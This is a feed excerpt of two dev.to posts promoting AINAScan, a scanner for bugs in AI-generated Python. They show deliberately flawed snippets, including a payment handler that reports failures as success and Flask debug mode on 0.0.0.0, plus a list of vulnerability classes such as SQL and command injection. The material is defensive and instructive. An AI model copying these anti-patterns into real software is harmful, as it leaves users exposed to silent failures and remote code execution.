      <link>https://dev.to/ainascan/why-ai-generated-code-passes-tests-but-breaks-production-with-examples-5d02</link>
      <guid>https://dev.to/ainascan/why-ai-generated-code-passes-tests-but-breaks-production-with-examples-5d02</guid>
      <description>&lt;p&gt;You ship AI-generated code. Tests go green. CI passes. Production breaks anyway.&lt;/p&gt;

&lt;p&gt;This happens because &lt;strong&gt;AI models optimize for plausibility, not correctness&lt;/strong&gt;. The code looks right. It has the right function names, the right return shape, even a comment explaining what it does. But the logic is hollow.&lt;/p&gt;

&lt;p&gt;Here are the 5 patterns I see most often — and how to catch them automatically.&lt;/p&gt;




&lt;h2&gt;
  
  
  Pattern 1: The DB Query That Goes Nowhere
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# AI wrote this. Tests pass (they mock the DB).
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_dashboard_stats&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT event_type, COUNT(*) FROM events WHERE user_id=? GROUP BY event_type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,)&lt;/span&gt;
    &lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;fetchall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ok&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="c1"&gt;# rows is fetched and silently discarded
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The AI fetched the data. It just... forgot to include it in the return value. The function always returns &lt;code&gt;{"status": "ok"}&lt;/code&gt; regardless of whats in the database.&lt;/p&gt;

&lt;p&gt;This is called &lt;code&gt;DEAD_DB_RESULT&lt;/code&gt;. The query runs, costs you latency and DB load, and produces nothing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why tests miss it:&lt;/strong&gt; Unit tests mock the DB call. They never notice that the return value doesnt contain any of the queried data.&lt;/p&gt;




&lt;h2&gt;
  
  
  Pattern 2: The Save Function That Doesnt Save
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;save_user_preferences&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;preferences&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;validated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;validate_preferences&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;preferences&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;saved&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="c1"&gt;# No INSERT. No UPDATE. Nothing was written.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The AI named it &lt;code&gt;save_&lt;/code&gt;. It returns &lt;code&gt;{"status": "saved"}&lt;/code&gt;. Users see a success message. Nothing was persisted.&lt;/p&gt;

&lt;p&gt;This is &lt;code&gt;MISSING_WRITE&lt;/code&gt;. The function name implies a write operation, but theres no &lt;code&gt;INSERT&lt;/code&gt;, &lt;code&gt;UPDATE&lt;/code&gt;, &lt;code&gt;execute()&lt;/code&gt;, or file write anywhere in the body.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;In production:&lt;/strong&gt; Users change their settings, get a success toast, come back tomorrow and their settings are reset.&lt;/p&gt;




&lt;h2&gt;
  
  
  Pattern 3: Parameters That Do Nothing
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;calculate_discount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_tier&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;purchase_amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;promo_code&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# AI generates plausible-looking logic...
&lt;/span&gt;    &lt;span class="n"&gt;base_discount&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.10&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;discount&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;base_discount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;final&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;purchase_amount&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;0.90&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="c1"&gt;# user_tier and promo_code are never used
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The function signature accepts 3 parameters. The return value uses exactly one of them (&lt;code&gt;purchase_amount&lt;/code&gt;), hardcoded at 90%. The other two are accepted and ignored.&lt;/p&gt;

&lt;p&gt;This is &lt;code&gt;INPUT_OUTPUT_DISCONNECTED&lt;/code&gt;. Every user gets 10% off, regardless of tier or promo code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why the AI does this:&lt;/strong&gt; It sees the function signature in the prompt and generates a return value that looks correct for the common case. The edge cases — what should happen for &lt;code&gt;user_tier="premium"&lt;/code&gt; or &lt;code&gt;promo_code="SAVE20"&lt;/code&gt; — are never exercised in the prompt.&lt;/p&gt;




&lt;h2&gt;
  
  
  Pattern 4: The Exception Handler That Lies
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;process_payment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;card_token&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;payment_gateway&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;charge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;card_token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;transaction_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transaction_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;save_transaction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;transaction_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transaction_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;transaction_id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transaction_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="c1"&gt;# Payment failed. Were telling the user it succeeded.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;except&lt;/code&gt; branch returns &lt;code&gt;{"success": True}&lt;/code&gt;. A failed payment looks identical to a successful one.&lt;/p&gt;

&lt;p&gt;This is &lt;code&gt;SILENT_FAILURE&lt;/code&gt;. The try block does something meaningful. The except block returns success regardless of what went wrong.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;In production:&lt;/strong&gt; Payments fail silently. Users think they paid. You have no error logs. Finance is confused.&lt;/p&gt;




&lt;h2&gt;
  
  
  Pattern 5: debug=True in Production
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# The AI helpfully set this during development
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;0.0.0.0&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;8000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;debug&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With Flask/FastAPI, &lt;code&gt;debug=True&lt;/code&gt; enables the interactive debugger. Anyone who triggers an unhandled exception gets a full Python console in their browser — with the ability to execute arbitrary code on your server.&lt;/p&gt;

&lt;p&gt;This is &lt;code&gt;DEBUG_MODE_RISK&lt;/code&gt;. Its one of the most common findings in AI-generated backend code. The AI set it to &lt;code&gt;True&lt;/code&gt; during scaffolding and never removed it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Catching All of This Automatically
&lt;/h2&gt;

&lt;p&gt;I built &lt;strong&gt;AINAScan&lt;/strong&gt; specifically for these patterns. It uses AST analysis (not LLM guessing) to detect all 5 of the above — plus 43 more.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Try it:&lt;/strong&gt; &lt;a href="https://pleasing-transformation-production-90c2.up.railway.app" rel="noopener noreferrer"&gt;AINAScan — free, no signup for single files&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For your whole project: zip it and upload. Up to 200 files scanned in parallel.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What you get per file:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅/🔴/⚠️ for all 48 patterns&lt;/li&gt;
&lt;li&gt;Senior code analysis (SILENT_FAILURE, EMPTY_EXCEPT, deep nesting...)&lt;/li&gt;
&lt;li&gt;Code structure: function list, danger sinks, call graph&lt;/li&gt;
&lt;li&gt;🧠 AI confidence score on each BLOCK issue (backed by 1.9M+ knowledge edges)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;It catches what Semgrep and Bandit miss&lt;/strong&gt; — because those tools werent designed for AI-generated code patterns. They look for known vulnerability signatures. They dont check whether your save function actually saves, or whether your parameters affect your output.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Traditional Linters Miss These
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Approach&lt;/th&gt;
&lt;th&gt;Misses&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Semgrep&lt;/td&gt;
&lt;td&gt;Pattern matching on known CVEs&lt;/td&gt;
&lt;td&gt;Semantic logic bugs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bandit&lt;/td&gt;
&lt;td&gt;Security-focused AST rules&lt;/td&gt;
&lt;td&gt;Functional correctness&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pylint&lt;/td&gt;
&lt;td&gt;Style + basic errors&lt;/td&gt;
&lt;td&gt;Intent vs. implementation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AINAScan&lt;/td&gt;
&lt;td&gt;Semantic data-flow + intent&lt;/td&gt;
&lt;td&gt;Nothing in the 48 patterns&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The common thread: traditional tools check &lt;em&gt;what the code does syntactically&lt;/em&gt;. AI-generated bugs are semantic — the code is syntactically valid, often stylistically fine, but functionally wrong.&lt;/p&gt;




&lt;p&gt;If youre shipping AI-generated code to production, run it through a scan first. Takes 5 seconds. Could save you a very bad Friday night.&lt;/p&gt;

&lt;p&gt;🔗 &lt;a href="https://pleasing-transformation-production-90c2.up.railway.app" rel="noopener noreferrer"&gt;ainascan.dev&lt;/a&gt; · &lt;a href="https://github.com/Moonsehwan/aina-scan" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; (⭐ to unlock ZIP scan + scan history)&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>webdev</category>
      <category>programming</category>
    </item>
    <item>
      <title>AINAScan: Scan Your Entire Project (ZIP/Folder) for 48 Security + Vibe-Coding Bugs — Free</title>
      <dc:creator>sehwan Moon</dc:creator>
      <pubDate>Tue, 23 Jun 2026 13:33:33 +0000</pubDate>
      <link>https://dev.to/ainascan/ainascan-scan-your-entire-project-zipfolder-for-48-security-vibe-coding-bugs-free-2n0j</link>
      <guid>https://dev.to/ainascan/ainascan-scan-your-entire-project-zipfolder-for-48-security-vibe-coding-bugs-free-2n0j</guid>
      <description>&lt;p&gt;If you use AI coding assistants (Cursor, Copilot, Windsurf), you already know the pattern: the code &lt;em&gt;looks&lt;/em&gt; right, the tests pass, and then production breaks with a bug that was sitting in plain sight.&lt;/p&gt;

&lt;p&gt;I built &lt;strong&gt;AINAScan&lt;/strong&gt; to catch exactly those bugs — and today it scans &lt;strong&gt;entire projects&lt;/strong&gt; via ZIP upload, not just single files.&lt;/p&gt;

&lt;p&gt;🔗 &lt;strong&gt;&lt;a href="https://pleasing-transformation-production-90c2.up.railway.app" rel="noopener noreferrer"&gt;ainascan.dev — try it free →&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What it scans
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;48 patterns across 3 categories&lt;/strong&gt; — pure AST analysis, no LLM guessing:&lt;/p&gt;

&lt;h3&gt;
  
  
  🛡 Security (24 patterns — BLOCK)
&lt;/h3&gt;

&lt;p&gt;The ones that will get you in the news:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pattern&lt;/th&gt;
&lt;th&gt;What it catches&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SQL_INJECTION_RISK&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;f-string / &lt;code&gt;%&lt;/code&gt;-format SQL — classic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;COMMAND_INJECTION&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;subprocess&lt;/code&gt; + &lt;code&gt;shell=True&lt;/code&gt; + user input&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PATH_TRAVERSAL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;open()&lt;/code&gt; with unvalidated user path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;XSS_RISK&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Unsanitized user input in response / &lt;code&gt;Markup()&lt;/code&gt; without escaping&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;INSECURE_DESERIALIZATION&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;pickle.loads()&lt;/code&gt; / &lt;code&gt;yaml.load()&lt;/code&gt; without SafeLoader — RCE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DEBUG_MODE_RISK&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;debug=True&lt;/code&gt; in Flask/FastAPI — exposes full stack traces in prod&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HARDCODED_SECRET&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;api_key = "sk-abc123"&lt;/code&gt; literally in source&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SSRF_RISK&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;HTTP request with user-controlled URL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;EVAL_EXEC_RISK&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;eval()&lt;/code&gt;/&lt;code&gt;exec()&lt;/code&gt; with dynamic input&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TYPE_UNSAFE_ACCESS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;float(d.get("k"))&lt;/code&gt; without &lt;code&gt;None&lt;/code&gt; check — guaranteed &lt;code&gt;TypeError&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DB_SCHEMA_DRIFT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;SQL column not in actual DB schema — runtime crash&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+ 13 more&lt;/td&gt;
&lt;td&gt;CORS, CSRF, IDOR, template injection, weak crypto...&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  🤖 Vibe-Coding Structural Bugs (13 patterns — BLOCK)
&lt;/h3&gt;

&lt;p&gt;These are the AI-specific ones. Semgrep doesn't catch them. Bandit doesn't either.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# DEAD_DB_RESULT — AI fetched data and forgot to use it
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_user_stats&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM events WHERE user_id=?&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,)).&lt;/span&gt;&lt;span class="nf"&gt;fetchall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ok&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;  &lt;span class="c1"&gt;# ← rows is never used
&lt;/span&gt;
&lt;span class="c1"&gt;# STUB_SKELETON — AI wrote the function signature and stopped
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;process_payment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;card_token&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;  &lt;span class="c1"&gt;# ← production code
&lt;/span&gt;
&lt;span class="c1"&gt;# INPUT_OUTPUT_DISCONNECTED — parameters have no effect on return
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;validate_email&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;valid&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;  &lt;span class="c1"&gt;# ← ignores the email entirely
&lt;/span&gt;
&lt;span class="c1"&gt;# MISSING_WRITE — save() with no actual INSERT/UPDATE
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;save_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;saved&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;  &lt;span class="c1"&gt;# ← no DB write happened
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These patterns show up in AI-generated code &lt;strong&gt;constantly&lt;/strong&gt;. The model writes a plausible function signature and return value, but the logic in between is missing.&lt;/p&gt;

&lt;h3&gt;
  
  
  🏗 Design Smells (11 patterns — WARN)
&lt;/h3&gt;

&lt;p&gt;God objects, circular imports, refused bequests, duplicate code blocks — the Martin Fowler classics, caught automatically.&lt;/p&gt;




&lt;h2&gt;
  
  
  ZIP / Folder Scan — scan your whole project at once
&lt;/h2&gt;

&lt;p&gt;This is the big one. Instead of uploading files one by one:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Zip your project folder&lt;/li&gt;
&lt;li&gt;Drop it on AINAScan&lt;/li&gt;
&lt;li&gt;Get results for &lt;strong&gt;up to 200 files in parallel&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Every file gets the full 48-pattern check. The results show:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Total BLOCK / WARN counts across the project&lt;/li&gt;
&lt;li&gt;Per-file breakdown&lt;/li&gt;
&lt;li&gt;Which files are clean vs. which need attention&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Max ZIP size: &lt;strong&gt;50 MB&lt;/strong&gt;. Free for members (star the GitHub repo to unlock).&lt;/p&gt;




&lt;h2&gt;
  
  
  What the scan results look like
&lt;/h2&gt;

&lt;p&gt;For each file you get:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Pattern checklist&lt;/strong&gt; — all 48 checks, ✅ PASS / 🔴 BLOCK / ⚠️ WARN per pattern&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Senior Code Analysis&lt;/strong&gt; — 7 additional patterns:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;SILENT_FAILURE&lt;/code&gt; — broad &lt;code&gt;except&lt;/code&gt; that always returns success&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;EMPTY_EXCEPT&lt;/code&gt; — &lt;code&gt;except: pass&lt;/code&gt; (error swallowed silently)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DEEP_NESTING&lt;/code&gt; — 5+ levels of nested if/for&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;PARAM_SHADOW&lt;/code&gt; — parameter reassigned inside function&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;INCONSISTENT_RETURN&lt;/code&gt; — mixed &lt;code&gt;None&lt;/code&gt; and typed returns&lt;/li&gt;
